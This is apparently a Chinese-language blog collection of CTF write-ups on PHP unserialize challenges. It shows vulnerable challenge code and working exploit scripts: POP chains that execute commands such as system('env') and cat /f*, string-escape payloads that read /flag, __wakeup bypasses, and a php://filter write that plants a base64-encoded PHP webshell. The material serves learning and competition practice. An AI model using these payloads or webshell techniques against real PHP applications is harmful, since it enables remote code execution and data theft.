[SWPUCTF 2021 新生赛]pop 这一道题我看了好一会wp才想明白,还是太菜鸡了,下面整理一下思路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php error_reporting (0 );show_source ("index.php" );class w44m { private $admin = 'aaa' ; protected $passwd = '123456' ; public function Getflag ( ) { if ($this ->admin === 'w44m' && $this ->passwd ==='08067' ){ include ('flag.php' ); echo $flag ; }else { echo $this ->admin; echo $this ->passwd; echo 'nono' ; } } }class w22m { public $w00m ; public function __destruct ( ) { echo $this ->w00m; } }class w33m { public $w00m ; public $w22m ; public function __toString ( ) { $this ->w00m->{$this ->w22m}(); return 0 ; } }$w00m = $_GET ['w00m' ];unserialize ($w00m );?>
我们观察php代码可以,要想获得flag,有一个 function Getflag()函数,我们需要调用这个函数。
然后在w33m这个类中看到有一个函数调用的。
即:$this->w00m->{$this->w22m}(); 这里w00m是w44m这个类,然后为w22m是Getflag这个函数。
这里需要触发toString魔术方法,然后通过echo进行输出,echo $this->w00m;。
链子:
getflag ->tostring -> _destruct 很短。
最后需要进行url编码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class w44m { private $admin = 'w44m' ; protected $passwd = '08067' ; }class w22m { public $w00m ; }class w33m { public $w00m ; public $w22m ; }$a =new w44m ();$b =new w22m ();$c =new w33m ();$c ->w00m=$a ;$c ->w22m=Getflag;$b ->w00m=$c ;echo urlencode (serialize ($b ));?>
prize_p5 很有意思的一道题目,预期解就是通过字符串逃逸去读取flag非预期就是通过十六进制利用原生类去读取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php error_reporting (0 );class catalogue { public $class ; public $data ; public function __construct ( ) { $this ->class = "error "; $this ->data = "hacker "; } public function __destruct () { echo new $this ->class ($this ->data ); } } class error { public function __construct ($OTL ) { $this ->OTL = $OTL ; echo ("hello " .$this ->OTL); } }class escape { public $name = 'OTL' ; public $phone = '123666' ; public $email = 'sweet@OTL.com' ; }function abscond ($string ) { $filter = array ('NSS' , 'CTF' , 'OTL_QAQ' , 'hello' ); $filter = '/' . implode ('|' , $filter ) . '/i' ; return preg_replace ($filter , 'hacker' , $string ); }if (isset ($_GET ['cata' ])){ if (!preg_match ('/object/i' ,$_GET ['cata' ])){ unserialize ($_GET ['cata' ]); } else { $cc = new catalogue (); unserialize (serialize ($cc )); } if (isset ($_POST ['name' ])&&isset ($_POST ['phone' ])&&isset ($_POST ['email' ])){ if (preg_match ("/flag/i" ,$_POST ['email' ])){ die ("nonono,you can not do that!" ); } $abscond = new escape (); $abscond ->name = $_POST ['name' ]; $abscond ->phone = $_POST ['phone' ]; $abscond ->email = $_POST ['email' ]; $abscond = serialize ($abscond ); $escape = get_object_vars (unserialize (abscond ($abscond ))); if (is_array ($escape ['phone' ])){ echo base64_encode (file_get_contents ($escape ['email' ])); } else { echo "I'm sorry to tell you that you are wrong" ; } } }else { highlight_file (__FILE__ ); }?>
先来说一下非预期解:
非预期就是利用Globlterator 去读取flag的具体位置,但是环境可能出了点问题,出不来,看其他的wp是 /flag
用SplFileObject 去读取的时候object会被过滤掉
但是有一种方法就是利用十六进制
1 O:9 :"catalogue" :2 :{s:5 :"class" ;s:13 :"SplFileObject" ;s:4 :"data" ;s:5 :"/flag" ;}
把SplFileObject前面的那个小写的s替换成大写的S 然后后面的Object任意一个字符替换成十六进制
Object对应的十六进制是\x4F\x62\x6A\x65\x63\x74 然后传的时候把x去掉
然后下面是预期解 通过字符串逃逸
这个题的话可以通过字符串逃逸增加,也可以通过字符串逃逸减少 下面介绍一下字符串逃逸增加的用法
字符串逃逸增加:
我这个是通过NSS来的,你通过其他的比hacker少的字符来的话都可以其实
先来看下面这段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if (isset ($_POST ['name' ])&&isset ($_POST ['phone' ])&&isset ($_POST ['email' ])){ if (preg_match ("/flag/i" ,$_POST ['email' ])){ die ("nonono,you can not do that!" ); } $abscond = new escape (); $abscond ->name = $_POST ['name' ]; $abscond ->phone = $_POST ['phone' ]; $abscond ->email = $_POST ['email' ]; $abscond = serialize ($abscond ); $escape = get_object_vars (unserialize (abscond ($abscond ))); if (is_array ($escape ['phone' ])){ echo base64_encode (file_get_contents ($escape ['email' ])); } else { echo "I'm sorry to tell you that you are wrong" ;
这个首先对email的值进行了一个/flag的检测,(不区分大小写)
然后分别POST传参三个参数 abscond这个函数就是进行一个替换 ‘NSS’, ‘CTF’, ‘OTL_QAQ’, ‘hello’ 如果匹配到了上面四个值的话,就会替换成hacker
接下来进行一个反序列化,get_object_vars这个函数的意思可以看看以下演示的理解一下
总的说就是用于获取指定对象的属性和值,并返回一个关联数组。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class Person { public $name ; public $age ; public function __construct ($name , $age ) { $this ->name = $name ; $this ->age = $age ; } }$person = new Person ("John Doe" , 25 );$vars = get_object_vars ($person );print_r ($vars );
输出结果:
1 2 3 4 5 6 Array ( [name] => John Doe [age] => 25 )
最后的那个if判断就是如果phone是一个数组的话,就把以email为路径的文件内容给读取并以字符串的形式给打印出来
最后把内容进行一个base64加密
分析完后我们通过字符串逃逸的方式,将email的值设为/flag,然后把它给放到name里面去,让它变成一个name的值
这样就绕过了对email的一个检测
先来看一下简单的一个测试:
1 2 3 4 5 6 7 8 9 10 <?php class escape { public $name = 'Nq' ; public $phone = array ('aa' ); public $email = '/flag' ; }$a =new escape ();$b =serialize ($a );echo $b ;?>
结果如下:
1 O:6 :"escape" :3 :{s:4 :"name" ;s:2 :"Nq" ;s:5 :"phone" ;a :1 :{i :0 ;s:2 :"aa" ;}s:5 :"email" ;s:5 :"/flag" ;}
我们要做的就是将”;s:5:”phone”;a:1:{i:0;s:2:”aa”;}s:5:”email”;s:5:”/flag”;}这个给变成name的一个值
字符串逃逸的话可以去看看我的这篇博客 (初学者,是自己对反序列化逃逸的一个理解)
上面我们要塞进去的有58个字符,有一点点长啊
一个NSS可以逃逸出3个字符,根据计算我们要19个NSS加一个hello
name的值就是: name=NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShello”;s:5:”phone”;a:1:{i:0;s:2:”aa”;}s:5:”email”;s:5:”/flag”;}
然后phpone的值随便输就行,注意的是emial的值不能是/flag,其他的都可以
[SWPU 2018]SimplePHP 这个题目的话使用到了phar反序列化 总体思路就是构造pop链,生成一个phar文件,由于做了一个白名单限制,但是利用phar伪协议去读取的时候与后缀名无关,关键是里面的数据要对
所以就手动修改一下后缀名就可以了 上传文件 在upload下查看一下
看到上传的文件名 在查看文件那里读取一下就可以了
重点来看一下这个pop链构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 <?php class C1e4r { public $test ; public $str ; public function __construct ($name ) { $this ->str = $name ; } public function __destruct ( ) { $this ->test = $this ->str; echo $this ->test; } }class Show { public $source ; public $str ; public function __construct ($file ) { $this ->source = $file ; echo $this ->source; } public function __toString ( ) { $content = $this ->str['str' ]->source; return $content ; } public function __set ($key , $value ) { $this ->$key = $value ; } public function _show ( ) { if (preg_match ('/http|https|file:|gopher|dict|\.\.|f1ag/i' , $this ->source)) { die ('hacker!' ); } else { highlight_file ($this ->source); } } public function __wakeup ( ) { if (preg_match ("/http|https|file:|gopher|dict|\.\./i" , $this ->source)) { echo "hacker~" ; $this ->source = "index.php" ; } } }class Test { public $file ; public $params ; public function __construct ( ) { $this ->params = array (); } public function __get ($key ) { return $this ->get ($key ); } public function get ($key ) { if (isset ($this ->params[$key ])) { $value = $this ->params[$key ]; } else { $value = "index.php" ; } return $this ->file_get ($value ); } public function file_get ($value ) { $text = base64_encode (file_get_contents ($value )); return $text ; } }
我们先大概看一遍,然后发现了file_get_contents()这个函数 读取指定路径下文件的内容
file_get_()——>get——> _get魔术方法 ——>tostring——>上面那个类的echo
pop链如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class C1e4r { public $test ; public $str ; }class Show { public $source ; public $str ; }class Test { public $file ; public $params ; }$a =new C1e4r ();$b =new Show ();$c =new Test ();$c ->params['source' ]="/var/www/html/f1ag.php" ;$b ->str['str' ]=$c ;$a ->str=$b ;?>
[HZNUCTF 2023 preliminary]ppppop已解决 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting (0 );include ('utils.php' );class A { public $className ; public $funcName ; public $args ; public function __destruct ( ) { $class = new $this ->className; $funcName = $this ->funcName; $class ->$funcName ($this ->args); } }class B { public function __call ($func , $arg ) { $func ($arg [0 ]); } }if (checkUser ()) { highlight_file (__FILE__ ); $payload = strrev (base64_decode ($_POST ['payload' ])); unserialize ($payload ); }
这一题的话跟学校新生赛有一道题很像 我感觉出处就是这里
就是进行一个cookie身份验证 然后可以得到代码
这个代码相对来说较为简单
让className为B 可以触发call魔术方法 然后下面就是进行一个命令执行 读取环境变量 env 就可以得到flag 否则的话的去其他目录下面寻找
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php include ('utils.php' );class A { public $className ; public $funcName ; public $args ; public function __destruct ( ) { $class = new $this ->className; $funcName = $this ->funcName; $class ->$funcName ($this ->args); } }class B { public function __call ($func , $arg ) { $func ($arg [0 ]); } }$a =new A ();$b =new B ();$a ->className='B' ;$a ->funcName="system" ;$a ->args='env' ;echo base64_encode (strrev (serialize ($a )));?>
[UUCTF 2022 新生赛]ez_unser 下面来看一下利用引用绕过wakeup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php show_source (__FILE__ );class test { public $a ; public $b ; public $c ; public function __construct ( ) { $this ->a=1 ; $this ->b=2 ; $this ->c=3 ; } public function __wakeup ( ) { $this ->a='' ; } public function __destruct ( ) { $this ->b=$this ->c; eval ($this ->a); } }$a =$_GET ['a' ];if (!preg_match ('/test":3/i' ,$a )){ die ("你输入的不正确!!!搞什么!!" ); }$bbb =unserialize ($_GET ['a' ]); 你输入的不正确!!!搞什么!!
这个的话在wakeup这里会将a赋为一个空值 然后这样的话我们的eval($this->a)就不能被执行
一般来讲 绕过wakeup就是成员属性的数量比实际的大就可以
就拿上面来说:将test实例化成对象然后进行反序列化的时候结果如下:
1 O:4 :"test" :3 :{s:1 :"a" ;i :1 ;s:1 :"b" ;i :2 ;s:1 :"c" ;i :3 ;}
就是将test”:3 改成test”:4 即可 但你看下面的正则匹配
1 2 3 if (!preg_match('/test":3/i' ,$a)){ die ("你输入的不正确!!!搞什么!!" ); }
这个值是不能变化的 那么就不能通过这个进行绕过
这就要引入了一个知识点 :引用的概念:简单来讲就是两个变量指向的是同一个地址块 所以两个变量其实也就是一个变量了
我们可以将a和b进行一个引用 再利用下面的
$this->b=$this->c; c的值赋给了b 说白了也就是给了a
这样就可以绕过了wakeup 综上所述 pop如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class test { public $a ; public $b ; public $c ; public function __construct ( ) { $this ->a=1 ; $this ->b=2 ; $this ->c=3 ; } public function __wakeup ( ) { $this ->a='' ; } public function __destruct ( ) { $this ->b=$this ->c; eval ($this ->a); } }$d =new test ();$d ->b=&$d ->a;$d ->c='system("cat /f*");' ;echo serialize ($d );?>
[UUCTF 2022 新生赛]ezpop 这一题考察的是反序列化利用引用绕过wakeup和利用字符串逃逸构造恶意代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php error_reporting (0 );class UUCTF { public $name ,$key ,$basedata ,$ob ; function __construct ($str ) { $this ->name=$str ; } function __wakeup ( ) { if ($this ->key==="UUCTF" ){ $this ->ob=unserialize (base64_decode ($this ->basedata)); } else { die ("oh!you should learn PHP unserialize String escape!" ); } } }class output { public $a ; function __toString ( ) { $this ->a->rce (); } }class nothing { public $a ; public $b ; public $t ; function __wakeup ( ) { $this ->a="" ; } function __destruct ( ) { $this ->b=$this ->t; die ($this ->a); } }class youwant { public $cmd ; function rce ( ) { eval ($this ->cmd); } }$pdata =$_POST ["data" ];if (isset ($pdata )) { $data =serialize (new UUCTF ($pdata )); $data_replace =str_replace ("hacker" ,"loveuu!" ,$data ); unserialize ($data_replace ); }else { highlight_file (__FILE__ ); }?>
这个引用绕过 wakeup 上面那一题跟这个很像 所以就不再过多的简述
链子如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php class output { public $a ; function __toString ( ) { $this ->a->rce (); } }class nothing { public $a ; public $b ; public $t ; function __wakeup ( ) { $this ->a="" ; } function __destruct ( ) { $this ->b=$this ->t; die ($this ->a); } }class youwant { public $cmd ; function rce ( ) { eval ($this ->cmd); } }$c =new output ();$d =new nothing ();$e =new youwant ();$e ->cmd='system("cat flag.php");' ;$c ->a=$e ;$d ->b=&$d ->a;$d ->t=$c ;echo base64_encode (serialize ($d ));?>
然后为什么要进行一个base64编码呢 因为上面的
$this->ob=unserialize(base64_decode($this->basedata));
先来说一下后面的实现过程
下面post传入一个值 然后给了pdata 这个pdata也就相当于上面的 $this->name=$str;
然后进行一个替换匹配到了hacker给替换成loveuu!这个联想到了字符串逃逸增加
最后进行一个反序列化 这里触发了上面的wakeup
1 2 3 4 5 6 7 8 function __wakeup ( ) { if ($this ->key==="UUCTF" ){ $this ->ob=unserialize (base64_decode ($this ->basedata)); } else { die ("oh!you should learn PHP unserialize String escape!" ); } }
对basedata的值进行一个base64解码并且反序列化
最下面的对传入的post的值进行一个序列化 这里的key和basedata都是空值 因为它接收的是上面的name的值 所以这里为了下一步wakeup里面的进行 进行了一个字符串逃逸
“;s:3:”key”;s:5:”UUCTF”;s:8:”basedata”;s:176:”Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oImNhdCBmbGFnLnBocCIpOyI7fX19”;s:2:”ob”;N;} 236个字符 需要236个hacker
[安洵杯 2019]easy_serialize_php 这一题的话考察了对字符串逃逸的理解以及变量覆盖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $function = @$_GET ['f' ];function filter ($img ) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode ('|' ,$filter_arr ).'/i' ; return preg_replace ($filter ,'' ,$img ); }if ($_SESSION ){ unset ($_SESSION ); }$_SESSION ["user" ] = 'guest' ;$_SESSION ['function' ] = $function ;extract ($_POST );if (!$function ){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; }if (!$_GET ['img_path' ]){ $_SESSION ['img' ] = base64_encode ('guest_img.png' ); }else { $_SESSION ['img' ] = sha1 (base64_encode ($_GET ['img_path' ])); }$serialize_info = filter (serialize ($_SESSION ));if ($function == 'highlight_file' ){ highlight_file ('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize ($serialize_info ); echo file_get_contents (base64_decode ($userinfo ['img' ])); }
先来看一下整体的思路: 就是让file_get_contents去读取flag所在的路径
f接收了function的值 下面的extract函数会进行一个变量覆盖
如下:
1 2 3 4 5 6 7 8 9 10 <?php $_SESSION ["user" ] = 'guest' ;$_SESSION ['function' ] ='123' ;echo '覆盖前:' ;var_dump ($_SESSION );echo "<br>" ;extract ($_POST );echo '覆盖后:' ;var_dump ($_SESSION );?>
先看看phpinfo里面有没有什么东西 发现有一个文件名 d0g3_f1ag.php
然后我们要利用file_get_contents 进行读取的话 需要满足$_GET[‘img_path为空 当它为空时 利用字符串逃逸将guest_img.png 这个名字变成
d0g3_f1ag.php的名字
正常的是这个
然后将AA换成flag或者其他字符的话就可以进行字符串逃逸
我们需要的是: “;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;} 就是将base64字符换一下 这个长度是不变的 更方便了
最终测试结果:
1 _SESSION[flagphpimg]=;s: 3 :"123" ";s:3:" img";s:20:" ZDBnM19mMWFnLnBocA= =";}
ctfshow 愚人杯 easy_php 这个是在php7.3下绕过wakeup的一个trick
这个的话是使用php的一些内置类进行绕过的。用C开头绕过wakeup
先来看一下源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfshow { public function __wakeup ( ) { die ("not allowed!" ); } public function __destruct ( ) { system ($this ->ctfshow); } }$data = $_GET ['1+1>2' ];if (!preg_match ("/^[Oa]:[\d]+/i" , $data )){ unserialize ($data ); }?>
思路就是绕过wakeup,下面这个正则匹配就是不能是Oa开头,所以数组绕过就不可以,然后有一种绕过wakeup的方法是在O或a的后面数字的前面加上一个+,但这只是低版本的绕过。
现在php是7.3版本,需要利用C绕过。
如果我们仅仅将O改成C的话是不解析的,因为这个C是一个类,不在是一个对象,我们没有对它进行一个serialize 就不能进行反序列化。
所以我们这个时候就要用到了内置类。
Arrayobject。
当然还有其他的也可以用,这里参考师傅的博客:https://boogipop.com/2023/04/02/%E6%84%9A%E4%BA%BA%E6%9D%AF3rd%20[easy_php]/
可以用的类有:
ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplObjectStorage::unserialize
下面我们可以进行一个演示。
ArrayObiect:
1 2 3 4 5 6 7 8 9 10 <?php class ctfshow { public $ctfshow = 'cat /f*' ; }$a = new ArrayObject ();$a -> b = new ctfshow (); echo serialize ($a );?>
ArrayIterator:
1 2 3 4 5 6 7 8 9 10 <?php class ctfshow { public $ctfshow = 'cat /f*' ; }$a = new ArrayIterator ();$a -> b = new ctfshow ();echo serialize ($a );?>
RecursiveArrayIterator:
1 2 3 4 5 6 7 8 9 10 <?php class ctfshow { public $ctfshow = 'cat /f*' ; }$a = new RecursiveArrayIterator ();$a -> b = new ctfshow ();echo serialize ($a );?>
SplObjectStorage:
1 2 3 4 5 6 7 8 9 10 11 <?php class ctfshow { public $ctfshow = 'cat /f*' ; }$a = new SplObjectStorage ();$a -> b = new ctfshow ();echo serialize ($a );?>
这里我是在本地进行执行的,phpstorm我不知道为什么执行完是O开头的。
nss上面的一题: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php highlight_file (__FILE__ );error_reporting (0 );class popmart { public $yuki ; public $molly ; public $dimoo ; public function __construct ( ) { $this ->yuki='tell me where' ; $this ->molly='dont_tell_you' ; $this ->dimoo="you_can_guess" ; } public function __wakeup ( ) { global $flag ; global $where_you_go ; $this ->yuki=$where_you_go ; if ($this ->molly === $this ->yuki){ echo '1' ; } } }$pucky = $_GET ['wq' ];if (isset ($pucky )){ if ($pucky ==="二仙桥" ){ extract ($_POST ); if ($pucky ==="二仙桥" ){ die ("<script>window.alert('说说看,你要去哪??');</script>" ); } unserialize ($pucky ); } }
前面的还好,就是引用绕过,主要是后面的传值,自己不怎么会,这里记录一下。
好吧,看了wp之后才发现自己是笨比。
前面因为是变量覆盖,我们可以先让wq=二仙桥 进入第二个if判断中,然后下面就是在post中传入pucky=…..(经过序列化后的值 也就是我们构造后得出来的)
shctf新生赛 sseerriiaalliizzee 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php error_reporting (0 );highlight_file (__FILE__ );class Start { public $barking ; public function __construct ( ) { $this ->barking = new Flag ; } public function __toString ( ) { return $this ->barking->dosomething (); } }class CTF { public $part1 ; public $part2 ; public function __construct ($part1 ='' ,$part2 ='' ) { $this -> part1 = $part1 ; $this -> part2 = $part2 ; } public function dosomething ( ) { $useless = '<?php die("+Genshin Impact Start!+");?>' ; $useful = $useless . $this ->part2; file_put_contents ($this -> part1,$useful ); } }class Flag { public function dosomething ( ) { include ('./flag,php' ); return "barking for fun!" ; } } $code =$_POST ['code' ]; if (isset ($code )){ echo unserialize ($code ); } else { echo "no way, fuck off" ; }?>
这里和[羊城杯 2020]EasySer的题非常像
绕过就是把die给过了
然后思路就是给part1和part2分别进行伪协议写文件名和base64传木马
payload:
1 2 3 4 5 6 $a =new Start ();$b =new CTF ();$b ->part1='php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php' ;$b ->part2='PD9waHAgc3lzdGVtKCJjYXQgL2YqIik7Pz4=' ;$a ->barking=$b ;echo serialize ($a );